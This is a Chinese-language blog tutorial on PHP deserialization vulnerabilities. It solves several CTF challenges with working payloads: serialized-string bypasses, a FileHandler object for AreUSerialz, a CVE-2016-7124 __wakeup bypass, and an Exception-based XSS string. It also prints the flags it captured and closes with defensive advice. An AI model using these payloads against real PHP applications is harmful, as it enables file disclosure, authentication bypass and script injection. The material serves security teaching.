PHP序列化漏洞从入门到实战博客

在 Web 安全领域,PHP 反序列化漏洞一直是 CTF 比赛中的高频考点,同时也是真实业务中常见的安全风险。从最基础的无类序列化绕过,到利用魔术方法构造 POP 链,再到经典 CVE 漏洞的利用,序列化漏洞的玩法层出不穷。本文将从基础原理出发,带你一步步吃透 PHP 序列化漏洞,同时拆解 3 道经典 CTF 真题,帮你彻底掌握这一漏洞的利用与防御,同时完成配套课程的作业要求。


一、基础:PHP 序列化与反序列化核心原理

所谓序列化,就是将 PHP 的任意变量(字符串、数组、对象等)转换为可存储、可传输的字符串,方便在不同环境、不同请求之间传递数据;而反序列化则是将这个字符串还原为原本的 PHP 变量。

PHP 提供了两个核心函数来完成这一操作:

  • serialize():将变量序列化为字符串

  • unserialize():将序列化字符串还原为变量

复制代码
graph LR
A[PHP变量] -->|serialize()| B[序列化字符串]
B -->|存储/传输| C[序列化字符串]
C -->|unserialize()| D[还原PHP变量]

序列化字符串的格式解析

序列化后的字符串有固定的格式,我们可以很容易地从中解析出变量的类型和值:

  1. 普通字符串:s:5:"derry";

    • s:代表变量类型为字符串(string)

    • 5:代表字符串的长度

    • "derry":字符串的实际内容

  2. 对象类型:O:6:"Person":2:{s:4:"name";s:5:"derry";s:3:"age";i:18;}

    • O:代表这是一个对象(Object)

    • 6:代表类名的长度

    • "Person":对象所属的类名

    • 2:代表这个对象拥有的属性个数

    • 后续部分则是每个属性的类型、名称和值,和普通变量的格式一致


二、入门:无类序列化,最基础的绕过技巧

无类序列化是序列化漏洞最基础的形态,不需要涉及类和对象,仅通过简单的字符串序列化就可以完成验证绕过,我们通过两个经典案例来理解。

案例 1:最直观的匹配绕过

第一个案例是最简单的入门题,代码如下:

复制代码
​
error_reporting(0);
include "flag.php";
$KEY = "derry";
$str = $_GET['x'];
if(unserialize($str)===$KEY)
{
 echo "$flag" ."</br>"; 
}
show_source(__FILE__);
?>

这个逻辑非常直观:我们传入的参数x会被反序列化,然后和$KEY做严格比较,相等就输出 flag。

我们只需要把derry这个字符串序列化,得到结果:

复制代码
​
s:5:"derry";

把这个字符串作为x参数传入,反序列化之后就会和$KEY完全相等,直接拿到 flag。

案例 2:变量执行顺序的巧妙绕过

第二个案例是一道经典的 CTF 小题,代码如下:

复制代码
​
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
 show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{ 
 echo "$flag";
}
else
{
 // 输出登录页面
}
$KEY = 'ISecer:www.isecer.com';
?>

很多新手看到这个题,第一反应是把ISecer:www.isecer.com序列化,然后传入 Cookie,但是这样根本拿不到 flag,问题出在哪里?

PHP 的代码是按顺序逐行执行的!

注意看,$KEY = 'ISecer:www.isecer.com';这行赋值代码,是在整个 if 判断的后面 !也就是说,当 PHP 执行到elseif (unserialize($cookie) === "$KEY")这一行的时候,$KEY这个变量还根本没有被定义!

这时候,双引号里的"$KEY"会被解析成什么?双引号会自动解析内部的变量,但是如果变量不存在,PHP 会直接把它解析成空字符串,同时因为我们关掉了错误报告,所以不会有任何提示。

所以这个判断的本质,其实是:

复制代码
​
unserialize($cookie) === ""

那我们只需要传入序列化后的空字符串:

复制代码
​
s:0:"";

反序列化之后就是空字符串,完美匹配判断条件,直接拿到 flag!


三、进阶:类序列化与魔术方法,漏洞的核心根源

当序列化的内容是对象的时候,就进入了更复杂的类序列化场景,这也是反序列化漏洞的核心应用场景。

当我们反序列化一个对象的时候,PHP 会自动触发一系列的「魔术方法」,这些方法本来是用来做对象的初始化、资源清理等工作的,但是如果我们可以控制对象的属性,就可以利用这些魔术方法来执行我们想要的操作 ------ 比如读取敏感文件、写入后门、绕过身份验证等等。

复制代码

常见魔术方法与触发时机

PHP 中常见的魔术方法和它们的触发时机如下:

魔术方法 触发时机
__construct 创建对象(new 类)时自动调用
__destruct 对象被销毁(比如脚本结束)时自动调用
__sleep 序列化对象之前自动调用,用来指定要序列化的属性
__wakeup 反序列化对象之后自动调用,用来做初始化工作
__get 访问不存在 / 权限不足的属性时自动调用
__set 给不存在 / 权限不足的属性赋值时自动调用
__call 调用不存在的方法时自动调用
__callStatic 调用不存在的静态方法时自动调用
__toString 把对象当做字符串使用(比如 echo)时自动调用
__clone 克隆对象时自动调用
__invoke 把对象当做函数调用时自动调用
__isset 对不存在 / 权限不足的属性调用 isset () 时自动调用
__unset 对不存在 / 权限不足的属性调用 unset () 时自动调用

这些魔术方法就是反序列化漏洞的核心,我们构造的恶意对象,正是靠触发这些方法来完成利用的。


四、实战:3 道经典 CTF 真题拆解

接下来我们拆解 3 道经典的 CTF 真题,从易到难,彻底掌握序列化漏洞的实战利用,同时完成课程的作业要求。

真题 1:2020 网鼎杯青龙组 AreUSerialz

这是课程作业要求我们完成的题目,我们来一步步拆解。

题目代码分析

题目给出的核心代码如下,首先是FileHandler类:

复制代码
​
class FileHandler {
 protected $op;
 protected $filename;
 protected $content;
​
 function __construct() {
 $op = "1";
 $filename = "tmpfile";
 $content = "Hello World!";
 $this->process();
 }
​
 public function process() {
 if($this->op == "1") {
 $this->write();
 } else if($this->op == "2") {
 $res = $this->read();
 $this->output($res);
 } else {
 $this->output("Bad Hacker!");
 }
 }
​
 private function read() {
 $res = "";
 if(isset($this->filename)) {
 $res = NewFlag::getFlag($this->filename);
 }
 return $res;
 }
​
 function __destruct() {
 if($this->op === "2")
 $this->op = "1";
 $this->content = "";
 $this->process();
 }
}

然后是入口的验证逻辑:

复制代码
​
function is_valid($s) {
 for($i = 0; $i < strlen($s); $i++)
 if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
 return false;
 return true;
}
​
if(isset($_GET{'str'})) {
 $str = (string)$_GET['str'];
 if(is_valid($str)) {
 $obj = unserialize($str);
 }
}
解题思路

我们的目标很明确:让FileHandler对象的op=2filename=NewFlag.php,这样当对象销毁的时候,__destruct会调用process,进而调用read方法,读取NewFlag.php拿到 flag。

但是这里有个坑:is_valid函数会过滤所有不可见字符,也就是 ASCII 小于 32 或者大于 125 的字符都会被拒绝。

如果我们直接用类里的protected属性来构造序列化字符串,会发生什么? protected属性的序列化结果中,属性名会变成\0*\0op,也就是包含两个空字节(\0,ASCII 为 0),这个字符是不可见的,直接就被is_valid过滤掉了,根本过不了检查!

这时候我们可以利用 PHP7.1 + 的特性:对属性的访问类型不敏感 !也就是说,我们可以把这些属性改成public的,这样序列化之后的属性名就没有空字节了,全部都是可见字符,完美通过is_valid的检查!

构造 Payload

我们构造如下的 PHP 代码来生成 Payload:

复制代码
​
class FileHandler {
 public $op=" 2";
 public $filename="NewFlag.php";
 public $content="cs";
}
$fh = new FileHandler();
echo serialize($fh);

生成的序列化字符串如下:

复制代码
​
O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:2:"cs";}

把这个字符串作为str参数传入,就可以成功触发漏洞,拿到 flag!

最终结果

在 BUUOj 的靶场环境中,我们最终拿到的 flag 为:

复制代码
​
flag{a851c5cd-be0a-4522-ba5a-38a206180262}

完美完成课程作业!


真题 2:极客大挑战 2019 PHP

这道题考察了经典的 CVE 漏洞利用,我们来看看。

题目分析

首先我们访问网站,通过备份字典扫描,拿到了网站的源码备份www.zip,解压后得到了核心的class.php代码:

复制代码
​
class Name{
 private $username = "admin";
 private $password = 100;
 function __wakeup(){
 $this->username = "guest";
 }
 function __destruct(){
 if($this->username === "admin" && $this->password === 100){
 include "flag.php";
 echo $flag;
 }
 }
}

逻辑很清楚:__destruct会检查,如果usernameadminpassword100,就输出 flag。但是反序列化的时候,会先调用__wakeup,这个方法会把username强制改成guest!也就是说,不管我们构造的username是什么,反序列化之后都会被改成guest,永远过不了检查?

这时候,我们就可以用到经典的 CVE 漏洞:CVE-2016-7124

CVE-2016-7124 漏洞原理

这个漏洞的影响版本为:

  • PHP5.x < 5.6.25

  • PHP7.x < 7.0.10

漏洞原理非常简单:当序列化字符串中,表示对象属性个数的值,大于对象实际的属性个数 的时候,PHP 就会跳过__wakeup方法的执行!

这正好解决了我们的问题!我们只需要把序列化字符串里的属性个数从 2 改成 3,就可以绕过__wakeup,让它不会修改我们的username

构造 Payload

我们构造 Payload,同时因为usernamepasswordprivate属性,序列化后的属性名是\0Name\0username,需要 urlencode 处理:

复制代码
​
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

把这个作为select参数传入,反序列化的时候,因为属性个数是 3,大于实际的 2,所以跳过了__wakeup,我们的usernamepassword都保留了下来,__destruct触发后,检查通过,输出 flag!

最终结果

最终我们拿到的 flag 为:

复制代码
​
flag{b18bb0c2-8084-4e65-a402-f1803a87f80d}

真题 3:反序列化结合 XSS

最后这道题,考察了原生类的利用,题目代码非常简单:

复制代码
​
highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;
?>

我们传入的参数反序列化之后,直接被 echo 输出。如果我们传一个对象的话,echo 对象的时候,就会触发__toString方法。

但是题目里没有给我们自定义的类,怎么办?我们可以用 PHP 的原生类 !PHP 自带的很多原生类都自带魔术方法,比如Exception类,它的__toString方法会把它的message属性直接输出!

那我们就可以构造一个Exception对象,把message设置成我们的 XSS payload:

复制代码
​
$e = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($e));

把生成的字符串作为k参数传入,反序列化之后,echo 这个对象的时候,就会触发__toString,把我们的 XSS payload 输出出来,完美完成 XSS 攻击!


五、总结与防御

序列化漏洞的本质

PHP 反序列化漏洞的核心,就是unserialize函数接收了用户可控的输入,导致攻击者可以构造恶意的对象,通过触发魔术方法,来执行任意的恶意操作,比如读取敏感文件、写入后门、绕过验证、执行 XSS 等等。

防御方法

针对序列化漏洞,我们可以通过以下方式来防御:

  1. 尽量避免反序列化用户可控的输入,如果需要传输结构化数据,优先使用 JSON 来代替 PHP 的序列化。

  2. 如果必须使用序列化,对反序列化的类做白名单,只允许反序列化指定的安全类。

  3. 及时更新 PHP 版本,修复类似 CVE-2016-7124 这样的历史漏洞。

  4. 对用户输入做严格的过滤,避免恶意字符传入。

通过本文的学习,相信你已经彻底掌握了 PHP 序列化漏洞的原理与实战技巧,从基础的无类绕过,到魔术方法利用,再到经典 CVE 漏洞的利用,都有了完整的理解。

相关推荐
Zhu7584 小时前
在k8s集群部署MySQL单实例,支持多个主流发行版
android·mysql·kubernetes
黄贵根5 小时前
JavaScript实现教培行业意向登记系统
开发语言·javascript·ecmascript
AFinalStone7 小时前
Android 7系统异常问题排查(四)Framework层(上)—System Server Watchdog
android·系统异常
zzzll11117 小时前
Claude Code离线安装方案揭秘
开发语言·php
Ai拆代码的曹操8 小时前
Nginx upstream keepalive 连接池中毒排查实录
chrome·nginx·php
wling03018 小时前
vasp虚频计算-python脚本
开发语言·windows·python·vasp计算
郝学胜-神的一滴9 小时前
Qt 高级编程 040:按钮悬浮弹出滑块弹窗的完整攻略
开发语言·c++·qt·软件工程·用户界面
宝杰X79 小时前
Android Room3 多平台数据库
android·数据库
xrandzj9 小时前
Python面向对象编程入门:类、实例、初始化与封装实践
开发语言·python
DLYSB_10 小时前
API 网关流量洪峰与突发 CC 攻击:我用 Go 写了个“现场物理防御哨兵”,把故障响应压缩到秒级
开发语言·后端·golang·报警灯